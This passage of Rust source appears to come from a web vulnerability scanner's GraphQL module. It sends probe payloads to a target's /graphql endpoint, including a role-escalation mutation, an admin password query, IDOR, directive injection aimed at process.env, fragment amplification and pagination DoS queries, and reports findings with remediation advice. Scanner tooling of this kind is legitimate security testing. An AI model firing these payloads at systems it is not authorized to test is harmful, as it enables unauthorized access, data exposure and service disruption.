            (apq_probe, "APQ probe without query"),
            (apq_register, "APQ registration attempt"),
            (pq_bypass, "Persisted query bypass"),
        ];

        for endpoint in &graphql_endpoints {
            for (payload, description) in &pq_payloads {
                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers)
                    .await
                {
                    Ok(response) => {
                        // Check if APQ is enabled without proper validation
                        let apq_enabled = response.body.contains("PersistedQueryNotFound")
                            || response.body.contains("persistedQuery");

                        let apq_registered = response.body.contains("__typename")
                            && !response.body.contains("error");

                        let bypass_worked = description.contains("bypass")
                            && response.body.contains("user")
                            && !response.body.contains("error");

                        if apq_enabled {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Automatic Persisted Queries Enabled",
                                endpoint,
                                &format!("{} - APQ is enabled. This can be abused for cache poisoning or bypass attacks.",
                                    description),
                                Severity::Medium,
                                "CWE-668",
                            ));
                        }

                        if apq_registered || bypass_worked {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Persisted Query Bypass",
                                endpoint,
                                &format!(
                                    "{} - Queries can be registered or bypass validation.",
                                    description
                                ),
                                Severity::High,
                                "CWE-284",
                            ));
                            break;
                        }
                    }
                    Err(e) => {
                        info!("Persisted query test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for subscription vulnerabilities
    async fn test_subscription_vulnerabilities(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 2;

        debug!("Testing GraphQL subscription vulnerabilities");

        // Check for WebSocket endpoint
        let _ws_endpoints = vec![
            format!(
                "{}/graphql",
                url.trim_end_matches('/').replace("http", "ws")
            ),
            format!(
                "{}/subscriptions",
                url.trim_end_matches('/').replace("http", "ws")
            ),
        ];

        // Subscription probe query via HTTP (some implementations allow this)
        let subscription_http_query = r#"{"query":"subscription { newMessage { id content } }"}"#;

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            match self
                .http_client
                .post_with_headers(endpoint, subscription_http_query, headers)
                .await
            {
                Ok(response) => {
                    // Check if subscriptions are exposed via HTTP
                    let subscription_enabled = response.body.contains("subscription")
                        || response.body.contains("newMessage");

                    let no_auth_error = !response.body.to_lowercase().contains("unauthorized")
                        && !response.body.to_lowercase().contains("forbidden")
                        && !response.body.to_lowercase().contains("auth");

                    if subscription_enabled && no_auth_error {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Subscriptions Without Authentication",
                            endpoint,
                            "GraphQL subscriptions are accessible without proper authentication. This can leak real-time data.",
                            Severity::High,
                            "CWE-287",
                        ));
                    }
                }
                Err(e) => {
                    info!("Subscription test failed: {}", e);
                }
            }

            // Test for subscription DoS (many concurrent subscriptions)
            let subscription_dos_query =
                r#"{"query":"subscription SubDoS { onAnyEvent { type data } }"}"#;

            match self
                .http_client
                .post_with_headers(
                    endpoint,
                    subscription_dos_query,
                    vec![("Content-Type".to_string(), "application/json".to_string())],
                )
                .await
            {
                Ok(response) => {
                    // Must be a valid GraphQL response (200 OK with data), not 404/500
                    if response.status_code != 200 {
                        continue;
                    }

                    // Must be ACTUAL GraphQL JSON response, not just a webpage containing "data"
                    // Real GraphQL responses are JSON starting with { and containing "data" or "errors" key
                    let body_trimmed = response.body.trim();
                    let is_graphql_json = body_trimmed.starts_with('{')
                        && (body_trimmed.contains("\"data\"")
                            || body_trimmed.contains("\"errors\""));

                    // Also reject if it looks like HTML (static page)
                    if !is_graphql_json
                        || body_trimmed.contains("<!DOCTYPE")
                        || body_trimmed.contains("<html")
                    {
                        continue;
                    }

                    let no_limit = !response.body.to_lowercase().contains("limit")
                        && !response.body.to_lowercase().contains("max")
                        && !response.body.to_lowercase().contains("too many");

                    if no_limit && !response.body.contains("\"errors\"") {
                        vulnerabilities.push(self.create_vulnerability(
                            "GraphQL Subscription DoS Risk",
                            endpoint,
                            "GraphQL subscriptions have no apparent connection limits. This can be abused for DoS attacks.",
                            Severity::Medium,
                            "CWE-770",
                        ));
                    }
                }
                Err(_) => {}
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for fragment spreading attacks
    async fn test_fragment_attacks(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 2;

        debug!("Testing GraphQL fragment attacks");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // Fragment spread amplification
        let fragment_amplification = r#"{"query":"query FragmentAmplification { ...UserData ...UserData ...UserData ...UserData ...UserData ...UserData ...UserData ...UserData ...UserData ...UserData } fragment UserData on Query { user { id name email friends { id name } } }"}"#;

        // Deeply nested fragments
        let nested_fragments = r#"{"query":"query NestedFragments { ...A } fragment A on Query { user { ...B } } fragment B on User { friends { ...C } } fragment C on User { friends { ...D } } fragment D on User { friends { ...E } } fragment E on User { id name email }"}"#;

        let fragment_payloads = vec![
            (
                fragment_amplification,
                "Fragment spread amplification (10x)",
            ),
            (nested_fragments, "Deeply nested fragments (5 levels)"),
        ];

        for endpoint in &graphql_endpoints {
            for (payload, description) in &fragment_payloads {
                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

                let start = std::time::Instant::now();
                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers)
                    .await
                {
                    Ok(response) => {
                        let elapsed = start.elapsed();

                        // Must be a valid GraphQL response (200 OK), not 404/500
                        if response.status_code != 200 {
                            continue;
                        }

                        // Must be ACTUAL GraphQL JSON response, not just a webpage containing "data"
                        // Real GraphQL responses are JSON starting with { and containing "data" or "errors" key
                        let body_trimmed = response.body.trim();
                        let is_graphql_json = body_trimmed.starts_with('{')
                            && (body_trimmed.contains("\"data\"")
                                || body_trimmed.contains("\"errors\""));

                        // Also reject if it looks like HTML (static page)
                        if !is_graphql_json
                            || body_trimmed.contains("<!DOCTYPE")
                            || body_trimmed.contains("<html")
                        {
                            continue;
                        }

                        let no_limits = !response.body.to_lowercase().contains("fragment")
                            && !response.body.to_lowercase().contains("depth")
                            && !response.body.to_lowercase().contains("limit");

                        let slow_response = elapsed.as_secs() > 2;

                        if no_limits || slow_response {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Fragment Attack",
                                endpoint,
                                &format!(
                                    "{} - No fragment limits detected. Response time: {}ms",
                                    description,
                                    elapsed.as_millis()
                                ),
                                Severity::Medium,
                                "CWE-400",
                            ));
                            break;
                        }
                    }
                    Err(e) => {
                        info!("Fragment test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for directive abuse
    async fn test_directive_abuse(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL directive abuse");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // @skip/@include directive abuse
        let directive_abuse = r#"{"query":"query DirectiveAbuse { user @skip(if: false) @include(if: true) @skip(if: false) @include(if: true) { id @deprecated name @skip(if: false) } }"}"#;

        // Custom directive injection
        let custom_directive =
            r#"{"query":"query CustomDir { user @debug @trace @admin { id name } }"}"#;

        // Directive with dangerous arguments
        let directive_injection =
            r#"{"query":"query DirInject { user @export(as: \"${{ process.env }}\") { id } }"}"#;

        let directive_payloads = vec![
            (directive_abuse, "Multiple directive stacking"),
            (
                custom_directive,
                "Custom directive probing (@debug, @admin)",
            ),
            (directive_injection, "Directive argument injection"),
        ];

        for endpoint in &graphql_endpoints {
            for (payload, description) in &directive_payloads {
                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers)
                    .await
                {
                    Ok(response) => {
                        // Verify this is actually a GraphQL response
                        if !self.is_graphql_response(&response.body) {
                            continue;
                        }

                        // Check for debug/admin directive acceptance
                        let debug_accepted = response.body.contains("debug")
                            || response.body.contains("trace")
                            || response.body.contains("admin");

                        // Check for directive info disclosure
                        let info_leak = response.body.contains("process")
                            || response.body.contains("env")
                            || response.body.contains("stack");

                        // Check for unrestricted directives
                        let no_directive_limit =
                            !response.body.to_lowercase().contains("directive")
                                && !response.body.to_lowercase().contains("unknown")
                                && response.body.contains("\"data\"");

                        if debug_accepted || info_leak {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Custom Directive Abuse",
                                endpoint,
                                &format!(
                                    "{} - Server accepts or leaks info from custom directives",
                                    description
                                ),
                                Severity::High,
                                "CWE-200",
                            ));
                            break;
                        }

                        if no_directive_limit && description.contains("stacking") {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Directive Stacking",
                                endpoint,
                                "Server allows multiple directives on single field without limits",
                                Severity::Low,
                                "CWE-400",
                            ));
                        }
                    }
                    Err(e) => {
                        info!("Directive test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for authorization bypass via query manipulation
    async fn test_auth_bypass(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 4;

        debug!("Testing GraphQL authorization bypass");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // Access admin fields without auth
        let admin_access = r#"{"query":"{ admin { users { id email password } } }"}"#;

        // IDOR via GraphQL
        let idor_query = r#"{"query":"{ user(id: \"1\") { id email sensitiveData } }"}"#;

        // Type confusion attack
        let type_confusion =
            r#"{"query":"mutation { updateUser(id: \"1\", role: \"admin\") { id role } }"}"#;

        // Nested authorization bypass
        let nested_bypass = r#"{"query":"{ publicData { privateRelation { secretField } } }"}"#;

        let auth_payloads = vec![
            (admin_access, "Admin field access without authentication"),
            (idor_query, "IDOR via GraphQL user ID manipulation"),
            (type_confusion, "Role escalation via mutation"),
            (nested_bypass, "Nested authorization bypass"),
        ];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            for (payload, description) in &auth_payloads {
                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers.clone())
                    .await
                {
                    Ok(response) => {
                        // Check for successful unauthorized access
                        let has_data =
                            response.body.contains("\"data\"") && !response.body.contains("null");

                        let no_auth_error = !response.body.to_lowercase().contains("unauthorized")
                            && !response.body.to_lowercase().contains("forbidden")
                            && !response.body.to_lowercase().contains("permission")
                            && !response.body.to_lowercase().contains("access denied");

                        let sensitive_data = response.body.contains("password")
                            || response.body.contains("sensitiveData")
                            || response.body.contains("secretField")
                            || response.body.contains("admin");

                        if has_data && no_auth_error && sensitive_data {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Authorization Bypass",
                                endpoint,
                                &format!("{} - Sensitive data accessible without proper authorization: {}",
                                    description, self.extract_evidence(&response.body, 150)),
                                Severity::Critical,
                                "CWE-862",
                            ));
                        }
                    }
                    Err(e) => {
                        info!("Auth bypass test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for cost analysis and pagination abuse attacks
    async fn test_cost_analysis_attacks(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 3;

        debug!("Testing GraphQL cost analysis and pagination abuse");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // Pagination abuse - request excessive items
        let pagination_abuse = r#"{"query":"{ users(first: 999999) { id name } }"}"#;

        // Nested pagination abuse
        let nested_pagination =
            r#"{"query":"{ posts(first: 1000) { comments(first: 1000) { id } } }"}"#;

        // Cost calculation bypass
        let cost_bypass = r#"{"query":"{ a: users(first: 100) { id } b: users(first: 100) { id } c: users(first: 100) { id } }"}"#;

        let cost_payloads = vec![
            (pagination_abuse, "Excessive pagination request"),
            (nested_pagination, "Nested pagination abuse"),
            (cost_bypass, "Cost calculation bypass via aliases"),
        ];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            for (payload, description) in &cost_payloads {
                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers.clone())
                    .await
                {
                    Ok(response) => {
                        // Check if server accepted large pagination without limits
                        let has_data = response.body.contains("\"data\"");
                        let no_limit_error =
                            !response.body.to_lowercase().contains("limit exceeded")
                                && !response.body.to_lowercase().contains("too many")
                                && !response.body.to_lowercase().contains("cost");

                        if has_data && no_limit_error && response.status_code == 200 {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Cost Analysis Bypass",
                                endpoint,
                                &format!("{} - Server accepted resource-intensive query without proper limits",
                                    description),
                                Severity::Medium,
                                "CWE-400",
                            ));
                        }
                    }
                    Err(e) => {
                        info!("Cost analysis test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Test for enhanced introspection abuse
    async fn test_introspection_abuse(
        &self,
        url: &str,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        let mut vulnerabilities = Vec::new();
        let tests_run = 4;

        debug!("Testing GraphQL introspection abuse");

        let graphql_endpoints = vec![format!("{}/graphql", url.trim_end_matches('/'))];

        // Full schema dump
        let schema_dump = r#"{"query":"{ __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"}"#;

        // Directive introspection
        let directive_introspection =
            r#"{"query":"{ __schema { directives { name description locations } } }"}"#;

        // Query type introspection
        let query_introspection = r#"{"query":"{ __schema { queryType { fields { name description args { name type { name } } } } } }"}"#;

        // Mutation type introspection
        let mutation_introspection = r#"{"query":"{ __schema { mutationType { fields { name description args { name type { name } } } } } }"}"#;

        let introspection_payloads = vec![
            (schema_dump, "Full schema introspection"),
            (directive_introspection, "Directive introspection"),
            (query_introspection, "Query type introspection"),
            (mutation_introspection, "Mutation type introspection"),
        ];

        for endpoint in &graphql_endpoints {
            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];

            for (payload, description) in &introspection_payloads {
                match self
                    .http_client
                    .post_with_headers(endpoint, payload, headers.clone())
                    .await
                {
                    Ok(response) => {
                        // Check if introspection is enabled
                        if self.detect_introspection_enabled(&response.body) {
                            vulnerabilities.push(self.create_vulnerability(
                                "GraphQL Introspection Enabled",
                                endpoint,
                                &format!(
                                    "{} - Schema information exposed via introspection: {}",
                                    description,
                                    self.extract_evidence(&response.body, 200)
                                ),
                                Severity::Medium,
                                "CWE-200",
                            ));
                        }
                    }
                    Err(e) => {
                        info!("Introspection test failed: {}", e);
                    }
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Check if response is actually from a GraphQL endpoint (not SPA fallback)
    /// This prevents false positives when the /graphql path returns an HTML SPA page
    fn is_graphql_response(&self, body: &str) -> bool {
        let trimmed = body.trim();

        // GraphQL responses are always JSON objects or arrays
        if !trimmed.starts_with('{') && !trimmed.starts_with('[') {
            return false;
        }

        // Check for HTML indicators (SPA fallback)
        let html_indicators = [
            "<!DOCTYPE",
            "<!doctype",
            "<html",
            "<head",
            "<body",
            "<script",
            "<app-root>",
            "<div id=\"root\">",
            "<div id=\"app\">",
            "__NEXT_DATA__",
            "__NUXT__",
            "polyfills.js",
            "ng-version=",
        ];

        for indicator in &html_indicators {
            if body.contains(indicator) {
                return false;
            }
        }

        // Verify it's a valid JSON structure with GraphQL-like content
        let body_lower = body.to_lowercase();

        // GraphQL responses typically have "data" or "errors" at the top level
        (body_lower.contains("\"data\"") || body_lower.contains("\"errors\"")) ||
        // Or introspection response
        (body_lower.contains("__schema") || body_lower.contains("__type"))
    }

    /// Detect if introspection is enabled
    fn detect_introspection_enabled(&self, body: &str) -> bool {
        // First verify this is actually a GraphQL response
        if !self.is_graphql_response(body) {
            return false;
        }

        let body_lower = body.to_lowercase();

        // Check for schema information in response
        (body_lower.contains("__schema") || body_lower.contains("__type"))
            && (body_lower.contains("types") || body_lower.contains("fields"))
            && !body_lower.contains("error")
            && !body_lower.contains("introspection is disabled")
    }

    /// Detect successful injection
    fn detect_injection_success(&self, body: &str) -> bool {
        let body_lower = body.to_lowercase();

        // Check for SQL/database errors or unexpected data
        let sql_errors = vec![
            "sql syntax",
            "mysql",
            "postgresql",
            "sqlite",
            "syntax error",
            "unclosed quotation",
            "ora-",
        ];

        for error in sql_errors {
            if body_lower.contains(error) {
                return true;
            }
        }

        // Check for successful data extraction
        body_lower.contains("\"data\"")
            && !body_lower.contains("\"errors\"")
            && (body_lower.contains("user") || body_lower.contains("admin"))
    }

    /// Detect field suggestions
    fn detect_field_suggestions(&self, body: &str) -> bool {
        let body_lower = body.to_lowercase();

        body_lower.contains("did you mean")
            || body_lower.contains("suggestion")
            || (body_lower.contains("field")
                && body_lower.contains("not found")
                && body_lower.contains("available"))
    }

    /// Detect batch query acceptance
    fn detect_batch_query_accepted(&self, body: &str) -> bool {
        // Check if response contains array of results
        body.starts_with('[') && body.ends_with(']') && body.contains("__typename")
    }

    /// Extract evidence from response
    fn extract_evidence(&self, body: &str, max_len: usize) -> String {
        if body.len() <= max_len {
            body.to_string()
        } else {
            format!("{}...", &body[..max_len])
        }
    }

    /// Create a vulnerability record
    fn create_vulnerability(
        &self,
        vuln_type: &str,
        url: &str,
        evidence: &str,
        severity: Severity,
        cwe: &str,
    ) -> Vulnerability {
        let cvss = match severity {
            Severity::Critical => 9.1,
            Severity::High => 7.5,
            Severity::Medium => 5.3,
            Severity::Low => 3.7,
            Severity::Info => 2.0,
        };

        Vulnerability {
            id: format!("gql_{}", uuid::Uuid::new_v4().to_string()),
            vuln_type: vuln_type.to_string(),
            severity,
            confidence: crate::types::Confidence::Medium,
            category: "API Security".to_string(),
            url: url.to_string(),
            parameter: None,
            payload: "".to_string(),
            description: format!("{}: {}", vuln_type, evidence),
            evidence: Some(evidence.to_string()),
            cwe: cwe.to_string(),
            cvss: cvss as f32,
            verified: true,
            false_positive: false,
            remediation: self.get_remediation(vuln_type),
            discovered_at: chrono::Utc::now().to_rfc3339(),
            ml_data: None,
        }
    }

    /// Get remediation advice based on vulnerability type
    fn get_remediation(&self, vuln_type: &str) -> String {
        match vuln_type {
            "GraphQL Introspection Enabled" => {
                "Disable GraphQL introspection in production environments. Configure your GraphQL server to reject introspection queries. Use schema validation and access control to protect sensitive schema information.".to_string()
            }
            "GraphQL Injection" => {
                "Implement proper input validation and parameterized queries. Use GraphQL query complexity analysis. Validate and sanitize all user inputs. Implement proper error handling that doesn't leak sensitive information.".to_string()
            }
            "GraphQL Field Suggestions Enabled" => {
                "Disable field suggestions in production. Return generic error messages that don't reveal schema information. Implement proper access control and authentication.".to_string()
            }
            "GraphQL Batch Queries Enabled" => {
                "Implement query batching limits. Use query complexity analysis and depth limiting. Implement rate limiting at the API level. Set maximum batch size and reject oversized batches.".to_string()
            }
            _ => {
                "Implement proper GraphQL security: disable introspection in production, use query complexity limits, implement proper authentication and authorization, validate all inputs, and monitor for abuse.".to_string()
            }
        }
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::types::ScanConfig;

    fn create_test_scanner() -> GraphqlSecurityScanner {
        let client = Arc::new(HttpClient::new(10000, 3).unwrap());
        GraphqlSecurityScanner::new(client)
    }

    #[test]
    fn test_detect_introspection_enabled() {
        let scanner = create_test_scanner();

        assert!(scanner
            .detect_introspection_enabled(r#"{"data":{"__schema":{"types":[{"name":"User"}]}}}"#));
        assert!(scanner.detect_introspection_enabled(r#"{"__type":{"fields":[{"name":"id"}]}}"#));

        assert!(!scanner.detect_introspection_enabled(r#"{"error":"Introspection is disabled"}"#));
        assert!(!scanner.detect_introspection_enabled(r#"{"data":{"user":{"name":"John"}}}"#));
    }

    #[test]
    fn test_detect_injection_success() {
        let scanner = create_test_scanner();

        assert!(scanner.detect_injection_success(r#"SQL syntax error near 'OR'"#));
        assert!(scanner.detect_injection_success(r#"MySQL error: unclosed quotation"#));

        assert!(!scanner.detect_injection_success(r#"{"errors":[{"message":"Invalid query"}]}"#));
    }

    #[test]
    fn test_detect_field_suggestions() {
        let scanner = create_test_scanner();

        assert!(scanner.detect_field_suggestions(r#"Field 'usr' not found. Did you mean 'user'?"#));
        assert!(scanner.detect_field_suggestions(r#"No field found with suggestion 'user'"#));

        assert!(!scanner.detect_field_suggestions(r#"Field not found"#));
    }

    #[test]
    fn test_detect_batch_query_accepted() {
        let scanner = create_test_scanner();

        assert!(scanner.detect_batch_query_accepted(
            r#"[{"data":{"__typename":"Query"}},{"data":{"__typename":"Query"}}]"#
        ));

        assert!(!scanner.detect_batch_query_accepted(r#"{"data":{"__typename":"Query"}}"#));
    }

    #[test]
    fn test_test_marker_uniqueness() {
        let scanner1 = create_test_scanner();
        let scanner2 = create_test_scanner();

        assert_ne!(scanner1.test_marker, scanner2.test_marker);
        assert!(scanner1.test_marker.starts_with("gql-"));
    }
}